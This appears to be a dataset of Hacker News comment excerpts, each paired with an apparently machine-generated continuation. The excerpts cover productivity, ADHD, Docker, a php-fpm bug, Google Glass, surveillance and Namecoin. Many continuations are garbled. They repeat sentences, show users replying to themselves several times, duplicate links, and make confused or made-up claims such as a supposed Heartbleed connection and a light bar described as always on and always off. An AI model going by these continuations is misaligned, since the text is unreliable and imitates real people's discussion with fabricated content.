war, completely unjustified\nwar. Vietnam is a great example (credit to darkpuma for knowing their stuff)\nof just such a waste, which makes the lengthy fallout all the more\nunforgivable. WWII by contrast, a subject I didn\u2019t raise incidentally and so\nhad no Godwin moment (I responded to a post explicitly mentioning the\nManhattan project), was nothing chosen by anyone other than the Axis.\nDeveloping and deploying nuclear weapons existed in the context of a fight for\nsurvival, against powers that systematically murdered millions of non-\ncombatants. Japan, putting aside Pearl Harbor, was monstrous in China, Korea,\nand the Philippines. They dropped plague fleas on Manchuria, slaughtered a\nsmall tortured prisoners, and Germany... well, we all know about that.\n\nThere was no reason to believe that victory over them was certain, or even\nlikely until the war had rages for years. There was every reason to believe\nthat life under the Nazis would be hell, and fatal for swathes of humanity.\nThe Japanese were not particular better, and China and Korea still bear the\nscars.\n\nAll of which is to say, I objected to mixing up people who designed mines for\nVietnam, with people fighting WWII on the front, or in the lab.\n\n~~~\ncf498\n>a subject I didn\u2019t raise incidentally and so had no Godwin moment (I\nresponded to a post explicitly mentioning the Manhattan project)\n\nOverworked the the comment it was a bit off.\n\n~~~\ntoufiqbarhamov"} +{"output_text": " I just forced myself to do things. I would force myself to go to the\ngym, do pull-ups, run, etc. I would force myself to do things I didn't want to\ndo, because I knew I would feel better if I forced myself to do them.\n\nEventually, I started to do things I wanted to do, because I wanted to. I\nstarted to do things I enjoyed, because I enjoyed them. I started to do things\nI wanted", "input_text": "comments responding to it), as opposed to, you know, just not wanting to\nprogram all day.\n\n------\nstared\n\"Smart Guy Productivity Pitfalls\"\n([http://bookofhook.blogspot.com/2013/03/smart-guy-\nproductivit...](http://bookofhook.blogspot.com/2013/03/smart-guy-productivity-\npitfalls.html)) were useful to me and techniques related to \"no zero days\" and\njust getting started (with a single sentence, slide, line of code) are\nvirtually the only things that consistently work for me. These techniques are\nnicely summarized in \"Micro-Progress and the Magic of Just Getting Started\"\n[https://mobile.nytimes.com/2018/01/22/smarter-\nliving/micro-p...](https://mobile.nytimes.com/2018/01/22/smarter-living/micro-\nprogress.html).\n\nAnything causing _guilt_ turned out to be counterproductive, vide my answer to\n\"How to stop feeling guilty about unfinished work?\":\n[https://academia.stackexchange.com/questions/17988/how-to-\nst...](https://academia.stackexchange.com/questions/17988/how-to-stop-feeling-\nguilty-about-unfinished-work/18009#18009).\n\n~~~\nswah\nI love that first blog post: \"Productivity Deficit: Your Attitude Writing\nChecks Your Work Ethic Can't Cash\"\n\nWish that guy continued writing...\n\n------\nbkanber\nI used to be lazy. For me there was no tactic that solved the problem, but\ninstead"} +{"output_text": " with the Glass team at Google? I'm particularly\ncurious about the decision to build the Glass app in native code. Was that a\ndifficult or time-consuming technical challenge? Or was it done for\nsimplicity's sake?\n\n~~~\njoeblau\nI worked with the Glass team at Google and I can tell you that it was a\ndifficult and time-consuming technical challenge. The Glass team was small and\nI'm sure they had a lot of pressure to", "input_text": "fee\nI was an early member of Pristine (the Google Glass company that Upskill\nrecently acquired) where I began as a developer, and then landed our first\npaid deal at the end of 2014.\n\nWe used to buy the glasses for $1500 a piece and had a probably 50 pairs of\nthem lying around by early 2015.\n\nThe engineering team was great - while I was there it felt like we were flying\nblind wrt Google\u2019s official support. From a business perspective, I\u2019m not sure\nproduct market fit was really ever achieved, though after I left the company\nexpanded its horizons beyond healthcare / telemedicine.\n\nGood luck to Upskill :)\n\n------\n0xfab1\nThat makes me want a pair that's installed with an app that shows relevant\nstackoverflow answers as I code.\n\n~~~\ne12e\nBut why would you want to wear something like this, for that? I can see how an\neditor/IDE plugin might be useful (a la racer for rust etc) - that would\nupdate a section of the screen with tips - but I don't think I'd like to have\nthis on a completely different device.\n\nNow, with a full vr headset, it might make sense to be able to place such\nthings outside of the normal field of vision (where your text/code editing\nresides) - but so far I don' think working full time in VR with text is a\ngreat idea, with the current generation of headsets.\n\n~~~\nsigstoat\n> But why would you want to wear something like this, for that?\n\ncan't have other folks knowing you're looking things up on SO. it'd ruin your\nmystique.\n\n------\nmorley\nHas anyone here worked"} +{"output_text": " you do.\nMaybe you need to do less and do it better.\n\nThird, if you are not getting enough sleep, you are going to struggle to\nthink clearly and be motivated.\n\n~~~\nmatt_wulfeck\n> Secondly, if you think you may have ADHD go and see a doctor for a\n> diagnosis. It's a very common condition and there are a set of well\n> understood and effective treatments.\n\nI've been to see", "input_text": ". That way I can do a boring thing for a week, then\ndo something interesting, and then back to the boring. If there's no\ninteresting paid projects, I just work on things I can find enjoyment in -\nlearning new things, working on things I enjoy and dropping them as soon as\nthe \"fun\" goes away.\n\nFor personal projects I avoid breaking them down into smaller steps. With\nsmaller steps I can see the mountain of work ahead of me (most of which isn't\nthat fun) and the motivation to work on it goes away, even if there's still\nplenty of enjoyment to be derived for said project. That's also one of the\nreasons why I rarely release anything personal I work on - the fact that once\nits out there and I would need to maintain it, kills the fun.\n\nI also try to limit my working hours to a certain range; the only reason why\nto work outside of those hours is if I've been slacking off previously and\nneed to catch up to hit a deadline or if the project is so much fun it's\nalready as relaxing as anything else I could be doing to wind down after work.\n\nGetting 8 hours of sleep is also very important for me. Any less for an\nextended period and I'm beginning to inch towards a depressed state of mind.\nAny more than 8 hours and my procrastination goes up.\n\nBut yeah, finding out what works for you is always difficult, and I think it\nalso changes with time.\n\n------\nxwvvvvwx\nFirstly if you think you may have ADHD go and see a doctor for a diagnosis.\nIt's a very common condition and there are a set of well understood and\neffective treatments.\n\nSecond, if you struggle to motivate yourself, maybe reassess what"} +{"output_text": " `n` to go forward in your history\n\n3) Use `p` to go previous command in your history\n\n4) Use `down` to go back in your history\n\n5) You can also use `r` to search for a string in your history\n\n~~~\njeorgun\nThat's pretty neat! I've never seen that before.\n\nI'm not using zsh, but I'm pretty sure I'm using bash.\n\n~~~\n", "input_text": " ssh command that I use to connect to a server and set up some\ntunnels and I always enter it by doing Control-R and looking for part of the\nserver's name. If it ever falls of the end of my history I'm in trouble.\n\n~~~\naroch\nControl-R with fuzzy searching never seemed to work as well as I wanted to.\n\nAlso, you should setup some aliases :)\n\n~~~\nnanofortnight\nOr ssh host shortnames! [http://davidwinter.me/articles/2010/08/22/setting-up-\nssh-hos...](http://davidwinter.me/articles/2010/08/22/setting-up-ssh-host-\nshortnames/)\n\n------\nahnick\nI prefer using vi bindings (from bash type \"set -o vi\" to enable) to the ^R\nmethod. If you know vi/vim then the results you get are very intuitive.\n\nHit Esc to enter vi mode and then hit \"/\". Type your search and hit enter. If\nthe first result that comes up isn't what you are looking for then hit \"n\" for\nthe next result. To go backwards do Shift + \"n\".\n\n~~~\njeorgun\nSo _that's_ what it is! I was just getting increasingly frustrated, wondering\nwhy \"?\" wasn't working.\n\nI guess staying intuitive is a difficult game to play, when your premise (the\ndefault / most useful searching order) is inherently different from the norm.\n\n------\nhartator\nIn zsh and some bash, you can access command history in a way simpler way:\n\n1) Start typing a command `ssh`\n\n2) Use `up` arrow to go backward in your history\n\n2) Use"} +{"output_text": "imgur.com/5yvzl.png](http://i.imgur.com/5yvzl.png)\n\n~~~\nnailer\nAnd for those who want to see the same design in Bootstrap:\n[http://i.imgur.com/5yvzl.png](http://i.imgur.com/5yvzl.png)\n[http://getbootstrap.com/2.3.2/examples/media", "input_text": "Hi Nailer!\n\nGood call, although I would disagree with the \"objectively better\" :-)\n\nI'd recommend using a semantic layout when you have an \"application website\",\nlike gmail, github or twitter. The layout is strong, and the content needs to\nlay within each layout block. For this specific design problem, I think that\nthe semantic layout is a good design pattern.\n\nBut sometimes the problem is different. Sometimes you have a more \"editorial\"\napproach, where you need some specific layout (this is a good example:\n[http://stackoverflow.com/questions/24060704/achieving-a-\ncomp...](http://stackoverflow.com/questions/24060704/achieving-a-complex-grid-\nin-bootstrap)). Trying to define that grid semantically is nearly impossible!\nAnd the problem get worse when that grid doesn't repeat anymore, and the next\none is slightly different :-(. In this circumstances, I'd suggest using an\nexplicit grid system.\n\nThere's a myth in web development that says: \"If you have a good semantic\nmarkup, you can achieve any design layout with CSS\". This is absolutely false!\nThis kind of myth usually comes from backend developers after seeing\ncsszengarden. Sometimes you need to add some html tags like divs (that are\nharmless, as they don't have any semantic weight). Don't touching the html\nwill mean going under a CSS hell with hacks and cross browser issues.\n\nDoes this sound like bullshit? What are your thoughts?\n\nCheers!\n\n~~~\nnailer\nIt doesn't necessarily have to be semantic, but your visual styling should be\nin your style sheet. I'd do the following to achieve\n[http://i."} +{"output_text": ", she's incredibly happy.\n\nI've always felt like I was wasting my potential, and that I could do so much\nmore. I've always felt like I was wasting my potential, and that I could do so\nmuch more.\n\nI've been in a lot of long-distance relationships, and I've always felt like\nthe women I've dated have been so much more successful than I am. I've always\nfelt like I'm not doing enough, and that", "input_text": " technically a disorder until\nit prevents you from living your life.\n\nI was diagnosed with ADHD at about 12years old. I refused treatment all\nthrough high school until I was 30 when I realized I had gotten nowhere in\nlife. I had substance abuse problems and a criminal record.\n\nI'm back in college now. I have hobbies, goals, and no desire to turn back. My\nanxiety is gone as well as the impulse to self medicate. I've gone through\nseveral state mandated drug/alcohol/anger management classes over the years,\nso the cognitive behavior mechanisms were there, but when I finally told a\ndoctor my story, and how I felt, I got treatment and it changed my life.\n\nYou can't diagnose yourself and trying to is unhealthy. It manifests doubt and\ncan make things worse by compounding negative emotion.\n\nIf you're just being lazy, grow up. But if you are unable to will yourself to\ndo/focus on the things you want/need to do, if you feel you are \"suffering,\"\neven a little bit, ask for help.\n\nYou are important. Don't waste time guessing.\n\n------\ndabernathy89\nI've often felt the same way. So much so that I even did some testing a few\nyears back to see if I might have undiagnosed attention deficit issues (turns\nout I don't).\n\nThe worst byproduct of this is that it brings some shame with it. I've never\nhad jobs that demanded all that much of me - I worked some intense hours when\nfreelancing, but for the most part I've had very flexible jobs with good work\nenvironments. My wife works insane hours as a tax accountant, and although it\nmakes her miserable a lot of the time"} +{"output_text": ", I'm not a fan of the current Windows Phone UI. But I think it's\nbetter than it is. I think Microsoft is aware of this and I think they're\nworking on it.\n\n~~~\nbluedino\nWindows phone is the only mobile OS that forces you to use the right-hand\nmenu.\n\n~~~\nbluedino\nI mean, the right-hand menu is always there, it's just hidden by default.\n\n------\nbl", "input_text": "atched visual styles: when you tap the phone icon, you get a bar of\nthree icons. Two are simple line icons (History and Contacts), the third is a\ndetailed picture of a keyboard to denote keypad. A minor thing and easily\nfixed.\n\n\\- Interface inconsistencies: I noticed that a large red X is used for closing\na screen (which I like over the sometimes unclear Back button behaviour you\nget in Android). But at 3:16 in the video the Wallpaper screen has a 'close'\nbutton (with X) and below that in the tab bar is the larger red X for closing\ntoo. So you have two close functions on the same screen. You see the same\nduplication on the date and Time screen at 3:41. By the way, I think the way\nWindows Phone lets you change date and time is much nicer. It's a similar\nspinner approach to Plasma but less cluttered. Here's a video of it in action:\n[https://youtu.be/kIsWgCX7qtE?t=54s](https://youtu.be/kIsWgCX7qtE?t=54s)\n\nAlso, the commands 'close', 'cancel' and 'delete' all tend to use the same X\nicon in many UIs so if there is no label for X, then it's meaning (and\nbehaviour) should be consistent across the OS.\n\n\\- Weather app: there is a 'hamburger' menu on the left and another slimmer\nhamburger menu on the right. They feel too similar visually. Presumably, the\nright-hand menu is equivalent to the overflow menu you find on Android. But\nare two menus needed here? Could they not all sit in one menu?\n\nObviously"} +{"output_text": " reproducible builds\n\nHow do you make sure that the version of the software in the image matches the\nversion that gets installed on the host?\n\n~~~\njgrowl\nThat's a good question. I'm not sure the best way to do this. I've done it\nbefore by using something like consul to keep track of the version that's in\nthe image. I'm not sure how well that works though.\n\n------\njordanwallwork\nI've", "input_text": " actual DB process. This makes it easy to play around with your\ndata under different versions of your DB.\n\n------\nZitchDog\nIf you're familiar with Java, think of a docker container like a WAR or EAR,\nexcept it can contain ANY dependency, not just Java code. Database, binaries,\ncache server, you name it. The implementation is vastly different, but the\neffect is a deployment artifact that can be configured at build time, and\neasily deployed to multiple servers.\n\n------\natroyn\nCodeship have a great series on Docker for Continuous delivery on their blog:\n[http://blog.codeship.com/](http://blog.codeship.com/)\n\nThat said I've paged the founders to this thread, they can make the case much\nmore effectively than I can. (disclosure: I don't work for Codeship).\n\n------\njgrowl\nBesides just actually running software, I also find it really neat when\nprojects use docker to build their entire application. It provides an\neffective means of documenting all of your dependencies and making\nreproducible builds.\n\nTake the docker-compose for example. You can just check the code out, run a\nsingle script that builds the project for your environment and everything is\npretty much self contained in the dockerfile\n([https://github.com/docker/compose/blob/master/Dockerfile](https://github.com/docker/compose/blob/master/Dockerfile)).\nYou don't have to clog up your host computer with deps and you get an\nexecutable plopped into an output bin folder.\n\nAdditionally, the steps in the dockerfile get cached so subsequent builds are\nreally fast.\n\n~~~\ndavexunit\n>making"} +{"output_text": " you not getting paid for a few days, then that's not a good environment to\nwork in.\n\n------\njwilber\nThis is why I love HN. A company with a product worth $1B+ gets a lot of\nattention, but also gets attacked on a regular basis.\n\n------\njwilber\nI'm curious if this is related to the Heartbleed vulnerability.\n\n------\njwilber\nThis is why I love HN. A", "input_text": " at the exploit and the patch... do I read it right: There is a\nbuffer underflow in php-fpm if the environment variables SCRIPT_FILENAME and\nPATH_INFO have a state that violates an assumption. And currently a widespread\nconfiguration of nginx + php-fpm is configured such that the URL can be\nsuffiently mangled such that nginx sets these parameters in a violating\nmanner.\n\nHowever, that means anything utilizing php-fpm in this version remains\nvulnerable, and it's just unknown if or how apache + php-fpm, or other reverse\nproxies for php-fpm are vulnerable - right?\n\nSo while I don't need to panic right now, I'll certainly have to take a look\nat our setups running php-fpm on monday.\n\n~~~\nmantoto\nOn Monday?\n\nAssume your systems are compromised and act accordingly.\n\n~~~\nroot_axis\nSome people choose not to work on weekends. Work/life balance etc.\n\n~~~\nPeterisP\nSure, but the price of not having 24/7 support may be that instead of applying\na patch you get to nuke everything from orbit and rebuild from backups.\n\n~~~\nroot_axis\nSure, but just because the company didn't want to shell out the dough for 24/7\nsupport doesn't mean that the employees should necessarily take it upon\nthemselves to work during their off time.\n\n~~~\nPeterisP\nIt probably comes down to the environment for other work. If the company will\n\"pay the price\" then that's okay, but if _you_ will \"pay the price\" i.e. if a\nneed to nuke everything from orbit and rebuild from backup will simply result\nin"} +{"output_text": "unmarked, exposed piers, and I've had a few close calls with cars driving\nonto them.\n\n------\njames_s_tayler\nI'm not from the area, but I've lived in the DC area for the past 10 years and\nI've noticed a lot of brick walls in the area.\n\nI've always wondered what the purpose of them was. I've always assumed it was\nsome sort of visual boundary between two or more properties,", "input_text": "Split rail fences are sort of similar\n\n[https://en.wikipedia.org/wiki/Split-\nrail_fence](https://en.wikipedia.org/wiki/Split-rail_fence)\n\n------\nbitslayer\nIn modern standards a straight wall is much easier to build because you can\njust measure once for each row and stretch a string to match the bricks\nagainst. A curved wall requires a level placed against every brick to make\nsure you are still going straight up. I expect older walls actually trusted\nthe mason's skill without going through all that. The Wiki photo certainly\nlooks true.\n\n~~~\nMagnumOpus\n> In modern standards\n\nEven in ancient times masons had pieces of strings and plumb-bobs to level\nvertically and horizontally.\n\nThe more likely constraint is that before the 20th century the farmer couldn't\nafford masons to lay orchard walls, but did it himself...\n\n------\nwmorein\nThere is one of these in Cambridge MA (or was until recently when someone\ncrashed their SUV through it):\n[https://boston.cbslocal.com/2019/05/15/cambridge-mass-car-\ncr...](https://boston.cbslocal.com/2019/05/15/cambridge-mass-car-crash-brick-\nwall-brattle-street-fresh-pond-parkway/)\n\n~~~\nSamBam\nI had seen the results of that accident, but was amazed by the video at all\nthe people saying that the area is a magnet for such accidents, and that the\nbrick wall itself had been hit many times.\n\nI mostly walk and bike in the city, but that whole neighborhood has wide,\n"} +{"output_text": "smallest temperature events are not as clear as a\nnormal weather event. The second is that the climate is changing so rapidly\nthat the weather events are not as clear as they were a few years ago.\n\nThe story does have some good information in it, the US temperature record\nbroke a record set in the 1930's and the record was broken in the last week of\nApril. That is a little more interesting than the story of the record breaking\nbecause it shows that the", "input_text": " importantly, new solar is cheaper than new coal plants, even in\nIndia.\n\nAnd as far as countries like Nigeria, I propose that the developed world\nbegins to enact sanctions against reckless polluters to incentivize social\nnation state behavior.\n\nI think that we will find, just as transnational oil companies have found,\nthat the governments of countries like Nigeria are easily swayed by outside\nmoney.\n\nAnd this idea that controlling carbon will slow economic growth is ludicrous.\n\nWhat do you think having NYC and Miami flooded will do to growth? What about\n100 million refugees from Bangladesh. Look at the problem of Syrian refugees\nfor Europe.\n\nWe did one thing right, and we got solar pv cheap just in the nick of time.\n\n------\nhackuser\nCoverage in The Guardian as well:\n\n[http://www.theguardian.com/environment/2016/apr/15/march-\ntem...](http://www.theguardian.com/environment/2016/apr/15/march-temperature-\nsmashes-100-year-global-record)\n\nIt's very disappointing this isn't a major story (outside the remaining\nclimate denial outlets, such as Fox/Murdoch/WSJ). I don't recall seeing it\ncovered in the NY Times, for example. Perhaps I overlooked it, but it should\nhave been a big enough story that overlooking it was very unlikely.\n\n~~~\nChuckMcM\nWhat would be the story? Climate change is real? I think that is pretty well\nunderstood by most of the NY Times readers. The story is now \"This week in\nApocolpyse Forecasting.\" Two things make this challenging, one is that the\nhighest/lowest/largest/"} +{"output_text": " to say.\n\n~~~\ndigger32\nNetflix is a neutral party. They are not the good guy. They are a business\nthat makes money by providing a service to customers.\n\nThe movie industry is the one that forces Netflix to carry their content.\n\nIf Netflix was a neutral party, they would not have to carry the movie\nindustry's content. They could simply charge a fee for delivery and not have\nto deal with this nonsense.\n\n~~~", "input_text": " etc into a\nsingle coherent interface - even terminal commands like configuring firewall,\nnetwork interfaces, user permissions, all that stuff.\n\nTo give you some examples it takes two clicks, a domain and any contrived\nemail address to get a Let's Encrypt certificate. It takes three more clicks\nto assign it to a web app Synology is serving from that device. You can add\nSSL to your own reverse-proxied app, also effortless to add, just as easily\nand enable HSTS with a checkbox.\n\nTheir torrent software can watch RSS feeds and download straight into a folder\nwhere it's indexed for their video server. Their video client provides a nice\ninterface for browsing but delegates the actual playback to VLC.\n\n------\ndigler999\nOn their website is a banner: \"Cancel netflix!\". I click on it, and I'm told I\nshould cancel netflix because they put DRM on their HTML5 delivery of movies.\n\nNow look, Im a self-professed pirate. I say screw most DRM and I dont\nrecognize IP law. However, I totally disagree that I should \"cancel netflix\".\nWhat are they supposed to do? Deliver all their movies DRM-free and see them\nimmediately get copied to torrent sites? Or else, what, not use HTML5 and\nrequire STB/smart tv support to use their product (which ALL have DRM, btw )?\n\nNetflix is the _good guy_, they are pioneers in electronic content delivery.\nThey are fighting to break the monopoly of the movie industry while having to\nwork _with_ them to get content. And they are producing their own content. All\nfor a very reasonable rate.\n\nI will absolutely NOT cancel netflix because they support DRM. What a\nridiculous thing"} +{"output_text": "? I've read a lot about how the internet has\nbeen used to amplify the voices of the protesters, but I haven't seen much\nabout what people are actually thinking about all of this.\n\n~~~\nyjftsjthsd-h\nI've been following news about the protests for a while now, and I've seen\nnothing to suggest that people aren't thinking about them the same way they\nwere before.\n\n~~~\nthinkingkong\nThat's interesting", "input_text": " and much more about the political state of\naffairs that a company appears more forward-looking than most other\ninstitutions. It's quite sad really.\n\n \nI don\u2019t need The Onion, I have China Daily - guyhance\nhttps://www.guyhance.com/2019/06/i-dont-need-the-onion-i-have-china-daily/\n======\nVanPossum\nSince we're on the topic of underhanded media manipulation, I'll just leave\nthis here:\n\nI saw this entry skyrocket its way to position #2 on the front page, and\nwithin minutes, despite have 130+ upvotes and 30+ comments within 1 hour it is\nnow suddenly 11 pages down, at position 340 (as of this post). As you can see\nthis submission does not have any remark from mods and is not marked\n\"[Flagged]\" or anything...\n\n~~~\nradcon\nHN is no different from every other internet forum: Heavily moderated with\nvery little transparency -- the perfect recipe for filter bubbles and\ngroupthink.\n\nThe moderators can even apply permanent penalties to individual users (your\ncomments will sink to the bottom where few will see them) without notice or\njustification. It's sort of like a shadow-ban but your comments are still\nvisible.\n\n------\nShivetya\nSo a modern day Baghdad Bob?\n\nFor those laughing, just remember this when a politician comes forward and\nwants to protect you from fake news. It can happen anywhere, it just does not\nneed to happen all at once for it to come into being.\n\n------\nthinkingkong\nThis is wild. Does anyone have a sense of what people in areas of mainland\nChina think about the protests"} +{"output_text": "11-tweaking-\n...](https://www.macprovideo.com/tutorial/final-cut-11-tweaking-the-lightbar)\n\n~~~\nmightykan\nI'm not sure I follow. The light bar is always on, and cannot be turned off.\nIt's always on bright and always off. It's a toy light bar.\n\n~~~\njordanthoms\nThe light bar is always on because it's a way", "input_text": " a few years ago.\n\nAt the time Dell only shipped the EU versions in 8 GB variants. I'm in the\nmarket for a new 13 or 14 inch machine and am split on a new MBP, Thinkpad or\nXPS 13.\n\nApple seem to have the best offering in terms of what causes me the least\namount of annoyances with hardware/OS integration but don't offer a 32GB\nlaptop. I also would prefer to run Linux natively. It's a tough decision given\nthe ~2,000 GBP cost.\n\nEdit: a couple of replies mention not liking the touchbar or keyboard in the\nnew MBP line-up. I used a touchbar 13\" model daily for ~6 months at my last\nfull time and after a weeks usage grew to like the keyboard and love the\ntouchpad. The touchbar was.. meh, even with BetterTouchTool to map my IDE\nshortcuts. Apple need to add haptic feedback to the touchbar IMO but I didn't\nfind the lack of physical keys too hurtful to my workflow.\n\n~~~\njordanthoms\nThe latest generation of MBPs has a 32GB option.\n\n~~~\nmightykan\nAnd a toy light bar whose brightness and duration cannot be controlled (which\nsucks precious battery life) and is an insult to the \"Pro\" name. Are there any\nserious options available?\n\n~~~\ntimrichard\nYou might see it as a toy if it's just an annoying way to trigger fn\nkeystrokes.\n\nBut for people who use applications like Final Cut Pro X, you can actually do\na lot with it.\n\nHere's a course on it, for example :\n\n[https://www.macprovideo.com/tutorial/final-cut-"} +{"output_text": "\n\n\n\n~~~\nwmf\nThe real question is why Google doesn't have a direct connection to Cogent.\nMaybe Google doesn't want to pay transit fees.\n\n~~~\nwmf\nOh, and Google is", "input_text": "'s peering arrangements are set up but I doubt that\nthis is the only transit arrangement Google has ever ended up in.\n\n[1] \n\n~~~\npowertower\nMy thoughts exactly at first.\n\nThere is something nonsensical about this whole matter (as reported by the\nblogs) that triggers a flag for me.\n\nMore info -\n\n(tl;dr; the _peering_ traffic between Cogent and Orange are too imbalanced;\nCogent handles Google's traffic)\n\nIn this case, the US telecommunications operator Cogent claimed, among other\nthings, that France T\u00e9l\u00e9com was compromising the peering system (enabling\nexchange of traffic flows between networks, free of charge) used by transit\noperators, by requesting payment for opening up additional technical capacity\nfor access to Orange subscribers. Regarding this claim, the Autorit\u00e9\nconsidered that in view of the _highly asymmetric nature of the traffic\nexchanged between France T\u00e9l\u00e9com and Cogent, such a payment request does not\nin itself constitute an anti-competitive practice inasmuch as this type of\nremuneration is not uncommon in the Internet industry in cases where a\nsignificant imbalance exists between the incoming and outgoing flows exchanged\nbetween two networks_, and is consistent with the overall peering policy\nadopted by France T\u00e9l\u00e9com, with which Cogent is familiar.\n\nHowever, the Autorit\u00e9 also noted a certain lack of transparency in the\nrelationship between the domestic network of France T\u00e9l\u00e9com (Orange) and its\ntransit operator business (Open Transit), creating a potential for margin\nsqueezes. France T\u00e9l\u00e9com agreed to make commitments to prevent such situations\nand enable appropriate monitoring."} +{"output_text": "\"too many people\"; it's just that they're the ones who have the keys.\n\n~~~\nanexprogrammer\n> there are many reasons why some individual might want to know private things\n> about some other individual\n\nThat's true. But I'm talking about the 'everyone' that's not of interest to\nme.\n\nI'm not arguing for blanket surveillance. I'm arguing that the 'everyone'\nshould be considered.\n\n> That", "input_text": " want to keep private.\n\n~~~\nnathancahill\nWhy would you be concerned about the FBI or the NSA knowing about the content\nof your digital communiques if you have nothing to hide? Even the most ardent\nsupporter of personal freedoms will admit that the government observing you\nover a network is the same as taking pictures of you with a telephoto lens on\na busy street. The truth is the same: there are too many people and you aren't\nspecial enough to deserve personal surveillance.\n\n~~~\nanexprogrammer\n> there are too many people\n\nOh _please._ They can probably harvest the lot. It'll be some algorithm that\ndeems you worthy or otherwise or gets you on an \"of interest\" list. Let's keep\n\"personal surveillance\" for '50s spy movies and Banksy murals.\n\nMore generally, what about the chilling effect on legal and legitimate\nconversation?\n\n~~~\njeremysmyth\n_It 'll be some algorithm that deems you worthy or otherwise or gets you on an\n\"of interest\" list._\n\n...or your association with \"Occupy\" or some other political protest movement\nthat someone in power disagrees with, or that your wife bullied some\npolitician's wife for two weeks in school, or that your interfering neighbour\nwith a petty dislike of how you landscape your garden works as a government\nclerk and can access your data.\n\nThere are many reasons why some individual might want to know private things\nabout some other individual. When individuals with some tiny (or vast) power\nwant to wield it over _anyone else_, especially when they can do it with\nlittle oversight, it's very tempting.\n\nThat \"the government\" has access to my private information does not mean it's\n"} +{"output_text": "~~~\nwmf\nOr filling up the wallet of a black-hat hacker who wants to DDoS a website.\n\n------\ndmd\nI'm curious about the technical details of the proof-of-work algorithm. Is it\njust a hash function with a nonce, or is there something more clever going on?\n\n~~~\nwmf\nIt's just a hash function with a nonce, but the nonce is chosen randomly and\nthen combined with a", "input_text": " opinion should carry a\nlot of weight with anyone serious about extending it.\"\n\n[https://en.bitcoin.it/wiki/Alternative_chain](https://en.bitcoin.it/wiki/Alternative_chain)\n\nI realize that is close to being useless, but I can't find the direct post in\nquestion by Satoshi that it is referencing. I seem to recall it not being\nSatoshi, however, but one of the current devs that I read a similar sentiment\nfrom.\n\nBut again, I don't have any direct links. I apologize.\n\n------\nkushti\nI'm interesting in developing services on top of Namecoin / other p2p more-\nthan-currencies (MasterCoin/Ethereum?). Please mail me (kushtech [at] yahoo\n(dot) com) if you want to discuss related things or join me. I'm\nScala/Java/etc developer myself / entrepreneur also in past and future.\n\n~~~\niterationx\nYou might be interested in learning about Twister, decentralized microblogging\n(twitter) [http://twister.net.co/](http://twister.net.co/)\n\n~~~\nthisiswrong\nI can't believe how potentially disruptive Twister is! Haha and I love its\nsystem of mining for promoted tweets.\n\nAs I have always said, bitcoin (the invention) means the end of FB, Twitter,\nand all similar centralized corporate entities.\n\n------\nmm0\nkeep pumping it op\n\n------\nRexRollman\n\"Namecoin is a cryptocurrency which also acts as an alternative, decentralized\nDNS\"\n\nSo, finally, a cryptocurrency which serves a purpose aside from filling up\nHN's article listing. Cool.\n\n"} +{"output_text": " the horsepower\nto run a full blown Linux OS. So, the Arduino community started to run a\nfork/spinoff of Linux called OpenWrt.\n\nThe Tinker Board is a derivative of the Arduino platform, but with a more\npowerful processor. It's a great little board, and I'm a big fan of the\ncommunity that's built up around it.\n\nThe Tinker Board is also a peripheral extension of the OpenWrt platform", "input_text": " and do exactly what you described, yet don't have\nwide adoption at all.\n\n~~~\nwiredfool\nThey've been around forever, and I dismissed them back in the internet dark\nages because they only had crappy windows software and their obnoxious\nintrusive ads seemed to be all about \"security\" cameras pointing at scantily\nclad women.\n\n/me realizes that I've just dated myself here.\n\n------\nstephengillie\nInteresting -- this is basically the merger of an Arduino Leonardo and a\npocket router. The flavor of Linux in use is a spinoff from OpenWRT, a popular\nhome router OS. The chip that runs on is the Atheros AR9331. Since OpenWRT\nsupports other languages, you can now program this device in Python.\n\nAR9331 pinout: \n\n~~~\nzdw\nAgreed. The Atheros chips tend to be much better supported - you actually get\nnon-binary blob wireless drivers, which is a big problem with Broadcom-based\ndevices like the venerable Linksys WRT54G and similar.\n\nOpenWRT is quite nice, and ships with a Lua based web interface, which is\nideal for a low memory/CPU device like a router.\n\n------\ndiydsp\nEmbedded hardware developer/DSP programmer here: An interesting turn in the\nlife of the Arduino turned out to be that people used it not so much as an\nembedded processor, but as a peripheral extension of their laptops and\ndesktops.\n\nLaptops and desktops (with some exceptions...) simply don't have"} +{"output_text": " I implied that it's politically incorrect to criticize rich\npeople and white people. I just meant that I would hope that HN is not a\nplace where people are censored for saying things that are unpopular.\n\nI think that the phrasing I quoted is likely to cause a big mess of an\nargument, because it's ambiguous. I think it's ambiguous because it's\nambiguous in English, and it's ambiguous because it's ambiguous in the\nspecific language of the political sub", "input_text": " for employment with municipal fire department (mandatory for\n> felonies/crimes involving moral turpitude)\n\n> Any felony; Crime of moral turpitude; Crimes involving fraud, dishonesty,\n> misrepresentation or money-laundering\n\nor:\n\n> Ineligible for employment in the police or fire department\n> (second/third/fourth class cities)\n\n> Any felony; Any misdemeanor\n\nIs that a reasonable restriction?\n\nI am of the understanding that these restrictions are in place so that others\ncan't can't compromise the integrity of one working in that office. Having\ngambling debts is something that allows people to blackmail or otherwise\ninfluence a person.\n\nLooking through that, are there any that are particularly \"why is this even\nthere?\" that you can point out that fall in the mandatory/automatic for\nconsequence type?\n\n------\nmtgx\nAlso labor pool is shrinking because more people are put in prison over\nnothing (while white rich people continue to get away with almost anything).\n\n~~~\nrainbowmverse\nThe phrasing on the latter half seems likely to cause a big mess of an\nargument, despite its statistical accuracy. Is there a better way to put it?\n\n~~~\ngeofft\nI would hope that this forum understands the importance of not censoring\ntruths that are politically incorrect....\n\n~~~\nAlexB138\nI may be misunderstanding you, but politically attacking rich people and white\npeople are some of the most popular things going right now, especially among\nthe demographic common around HN. It's almost the opposite of politically\nincorrect.\n\nNot saying all complaints are unfounded, but it's far from politically\nincorrect in many groups.\n\n~~~\ngeofft\nI don't think"} +{"output_text": " jobs.\n\n3\\. It's a great place to meet people.\n\n4\\. You'll learn a lot.\n\n5\\. You'll meet interesting people.\n\n6\\. You'll have fun.\n\n7\\. You'll be able to afford to live on your own.\n\n8\\. You'll be able to afford to pay back your loan.\n\n9\\. You'll be able to afford to pay back your student loans.\n\n10\\. You'll be", "input_text": "ldelancey\nSubscribe to newsletters from Udemy, StackSkills, Stone River Academy, and the\nBGR Store. They often have specials where you can get a whole bundle of online\ncourses AND there are several that have a project that you complete and can\nadd to your portfolio. They've had deals where you can pick up 10+ courses for\n$20. I also echo the recommendation to go through the MIT or Stanford courses.\nCheck out edX for many of those. As someone else said, it really never has\nbeen better. I even attended a free CSS3 tricks class from Noble Desktop\nearlier in the week. It was a gift for being a subscriber to their 